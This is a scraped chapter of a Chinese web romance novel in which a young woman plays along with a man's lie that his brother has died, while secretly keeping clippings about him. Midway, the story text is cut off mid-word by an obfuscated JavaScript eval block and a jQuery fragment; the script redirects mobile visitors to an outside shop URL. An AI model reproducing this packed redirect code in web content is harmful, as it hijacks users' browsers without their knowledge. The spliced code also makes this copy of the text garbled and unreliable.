文趣网 > 其他小说 > 勾吻 > 2. Chapter.2
    直到跟着贺敛出了趟门置办好了一些必备的生活用品后,阮湉才后知后觉地反应过来了什么。

    好像把某个人给忘了。

    看着吃着双色gelato的阮湉脚步突然一顿,拎着满满四大个塑料袋的贺敛也跟着停了下来。

    “怎么了?还是想吃车厘子味的吗?”

    贺敛回头看了一眼那个网红的gelato小店,眼瞅着就要返回去再给她买一个。

    “贺忍呢?”

    阮湉又勺了一口冰激凌,眨着眼睛看着他。

    “我们这样,贺忍他……”

    阮湉原本想说的话还没说完,就被眼前的男人打断。

    “节哀。”

    贺敛一脸严肃地吐出了这两个字。

    阮湉刚想反问,贺敛的电话又猝不及防地响了起来。

    手上东西太多的贺敛让阮湉帮忙打开了免提。

    来电显示的备注是Arthur。

    “贺总,小贺总手中的股份已经处理妥当了。”

    这个语气,说话的应该是某个秘书。

    贺敛的神情突然多了一丝悲悯和伤痛,看得举着手机的阮湉一愣又一愣。

    “嗯,既然事情已经发生,那我们就只能接受现实了。”

    贺敛的语气充满哀悼,也不知道究竟在怀念些什么。

    “啊?啊。”

    Arthur似乎完全没适应自家老板突如其来的高深话语,不过职业操守很好的他也很快接受了这个现实。

    电话挂断,贺敛重新看向阮湉。

    他深吸了口气,倒是十分认真地解释了起来。

    “我知道你和贺忍在一起相处了很多年,你们感情好,我都看在眼里。”

    “他离开之前,只嘱咐了我一件事,那就是让我照顾好你。”

    阮湉闻言彻底沉默。

    她的眉毛已经拧成了痛苦的形状,薄唇此刻也不禁用力抿紧。

    贺敛把她的反应全部收入眼中,继续耐下性子来解释。

    “没事,我们之间可以慢慢来。”

    “跟着我,总归来说不会受苦。”

    贺敛知道沈家人对待阮湉不算好。

    当时圈子内对于沈家愿意接受阮湉这件事大为震惊。

    亲生女儿走丢后,沈家夫妇算是最不想摊上事的那种人。

    他们不仅经营上老实本分,什么油水都不捞,也从不出席各种社交场合。

    别的豪门在享受生活的时候他们日日都在礼佛。

    正当所有人都以为沈家已经退出了豪门角逐,他们却突然站出来收养了阮湉。

    其他家内心虽然奇怪,不过好歹这个小克星没去到他们家里。

    万一苏老爷子自有吉人天相的苏醒,也能亲眼所见当时的嘱托有了着落。

    贺敛并不知道她为什么和自己的弟弟在一起了。

    自己知道的时候,好像一切都晚了。

    旁人都说阮湉的性子极差,被人欺负后总是会想方设法地报复回去,导致周围一直没什么朋友。

    贺忍也不知道脑袋里哪根筋搭错了,非要护着她。

    首先,贺敛不觉得阮湉报复回去这件事有错。

    其次,天赐良机,或许还不晚。

    贺敛看着阮湉顶着痛苦的表情继续吃起了自己刚买的车厘子味gelato,心里盘算着该怎么去完善这个弥天大谎。

    阮湉这边心里活动也完全没停下。

    她刚才要是不做出那种夸张的表情,自己嘴角的笑就要隐藏不住了。

    哥哥竟然突然说出国的弟弟死了。

    阮湉和贺忍过去的恩怨先不谈。

    她原本只是单纯地想让贺敛帮忙给贺忍带个话,自己和他就到这。因为那个二货已经躲了自己一个月,面对自己发去分手的消息不闻不问。

    当初答应他的表白原本就是一件错上加错的事。

    她知道他出国了一趟,按照现在的情况来推算,估计是有些事情所以没办法那么快回来。

    明明也不是什么复杂的事,贺敛却扯了个这样的谎。

    未免有点…

    太可爱了吧。

    …

    贺敛送阮湉回到了公寓后,他说还有点事没有处理好。

    “难道是贺忍的葬礼?”

    阮湉站在一尘不染的地板上,故意懵懵地看着他。

    “那倒不是,这件事上不能太大张旗鼓。”

    贺敛脸不红心不跳地半跪在地,给阮湉穿好拖鞋后重新站起了身。

    阮湉想了一下也对。

    贺家的势力那么庞大,二儿子“死”了的事要是真的传出来,洲港的热搜都得崩溃三天。

    坦白来讲,“葬礼”确实得秘密进行。

    “我晚点来找你,乖。”

    贺敛靠近阮湉一瞬,嘴唇已经近乎贴在女孩儿的额头。

    但是他还是没有吻上去。

    阮湉眼睁睁看着贺敛松开她,出门离去。

    乖。

    这个字的余温仿佛还萦绕在阮湉的耳边。

    但很快又变成了一根又细又软的针,深深扎入了她的内心。

    她动了动刚才贺敛靠近她时已经完全僵直的四肢,对着窗外的夜景叹了口气。

    天已经黑了。

    “晚点见”的“晚点”是多晚呢。

    阮湉从行李箱里拿出了一个铁盒。

    充满岁月痕迹的奶糖盒里装满了她裁剪下来的报纸贴片。

    满满当当,都是贺敛。

    是的,阮湉从很久之前就开始喜欢他了。

    油墨的质量并不算好,略显模糊的印刷却还是掩盖不了男人优越的身形。

    从贺敛被称为数学天才首次登报,到他每次以光鲜的贺家长子的身份出现在头条处。

    从竞赛冠军到最年轻出色的家族继承人,每个人的目光都或多或少的在他身上短暂停留过。

    贺敛的优秀贯穿始终。

    阮湉从里面拿出了她这两年来摩挲过最多次的一张纸,上面用着醒目的红标注着一句话。

    “头条!贺氏继承人不日将和蒋氏千金订婚!”

    媒体的附图并不清晰,却足以见得二人的亲密。

    男人敛着笑意倾听着身边的蒋梦芋开口说出的话,注意到不远处在偷拍的媒体后向镜头投来警告的目光。

    那一年阮湉十八岁。

    她躲在沈家一整个暑假,逼迫自己不去在意这场即将在洲港市展开的盛大订婚宴。

    贺忍当时同她说,他从没见自己的哥哥那么喜欢过一个人。

    阮湉在心里回答,其实我也是。

    从自己偷偷开始注视着他的那一年开始,她从没见过贺敛那么喜欢过一个人。

    “说起来,你和我哥哥还不认识吧?”

    贺忍当时突然和她说道。

    “刚好有场酒会,带你一起去?”

    夜空中突如其来的一道惊雷终止了阮湉的回忆。

    她连忙收拾好这些剪报,重新合上糖盒。

    抱着盒子在公寓里巡视了一圈,阮湉发现了一件十分重要的事…

    这里竟然只有主卧有一张床。

    客卧空空如也,一件家具都没有添置。

    似乎是想到了些什么,阮湉不自觉咽了下口水。

    实在没地方藏了,她把盒子推到了主卧床底的某个犄角旮旯。

    先这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17952685|214193||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    样吧。

    她看向窗外,雨点开始毫不留情地砸了下来。

    瓢泼的雨幕模糊了窗外的一切光景。

    贺敛从窗外收回视线,不禁皱起了眉。

    一旁的傅洇看到他这副表情,还以为是在嫌弃自己点燃不久的雪茄。

    “哎,剪了吧剪了吧。”

    他忍痛递给了一旁的佣人。

    “所以你说我该怎么办啊贺天才,我老婆当秃鹰投资者当上瘾了,现在一堆人围追堵截我们在美国的板块。”

    傅洇对着面前正在沉默敲击键盘的贺敛摆出一脸颓靡的模样。

    “关我什么事。”

    贺敛回答的语气十分冷漠。

    “你得给我出出招啊,我是你同盟啊。”

    傅洇对他这副模样已经见怪不怪,继续在一旁瞎叫唤。

    贺敛终于审批完了今天的工作,一个眼神都没再给沙发上的人。

    “你手里那几个点我看不上。”

    他嘲讽完就重新站起身,抄起外套就要往门外走。

    “我去,等一下等一下!”

    傅洇突然跟见了鬼似的拦住了想要离开的男人。

    “这不是法国时装周那个爆火的男模穿得那一件丝绒外套吗?”

    “我老婆说她原本想买的,不知道被谁给截胡了…”

    傅洇好像突然想明白了些什么。

    “Fuck,你小子,铁树开花了啊。”

    贺敛什么时候花心思在打扮自己身上过。

    从傅洇认识他的那一天开始,贺敛就像一个从不停下的齿轮,一直在学习、一直在工作。

    一直在向前。

    “谁啊?长什么样?高的矮的?家里做什么的?喜欢小猫还是小狗啊?…”

    贺敛瞪了他一眼,一个问题都没回答。

    佣人站在门口给他递了把伞,他想了想还是没要。

    坐进车内,他刚想把外套放在副驾驶上,却突然想到了什么。

    大手轻抚过这件丝绒的外套,又软又绵。

    怪不得今天她会盖在身上。

    她身上很香。

    靠近或者靠远,自己都能闻得到。

    那外套会沾上吗?

    他喉结滚动了片刻。

    私人停车场的灯光很暗。

    没人注意到贺敛开车前的动作。

    阮湉这边刚洗完澡。

    大雨还在下,估计今晚都不会轻易停下了。

    她穿好睡衣,在沙发上划起平板来。

    新闻里滚动着沈家为找回的千金办了宴会的新闻,一家三口幸福的照片频繁出现。

    真好啊。

    她正在心里想着,社交软件突然收到了一条信息。

    ——“甜甜,你作业写完没啊?我不会做啊!”

    洛小橙给她发了几个哭泣的表情。

    这是阮湉在班级里唯一的一个朋友。

    阮湉无奈地笑了笑,给她拍过去了自己写好的题目。

    ——“别只抄啊,过程得动动脑子,不会的步骤问我。”

    她还是像以往一般嘱咐着。

    ——“我女神我宝宝我闺蜜我挚爱!”

    洛小橙那边很快回了信息。

    ——“那…你和你男神怎么样了?”

    阮湉被她突然跳转的话题呛了一下。

    她反反复复地输入又删除,斟酌片刻给出了回答。

    ——“还行吧。”

    ——“就是他不一定回家。”

    这句话刚发过去,门口就突然响起了密码输入的声音。

    阮湉不可思议地朝向门口看去。

    贺敛就这么全身湿透的出现在了门口。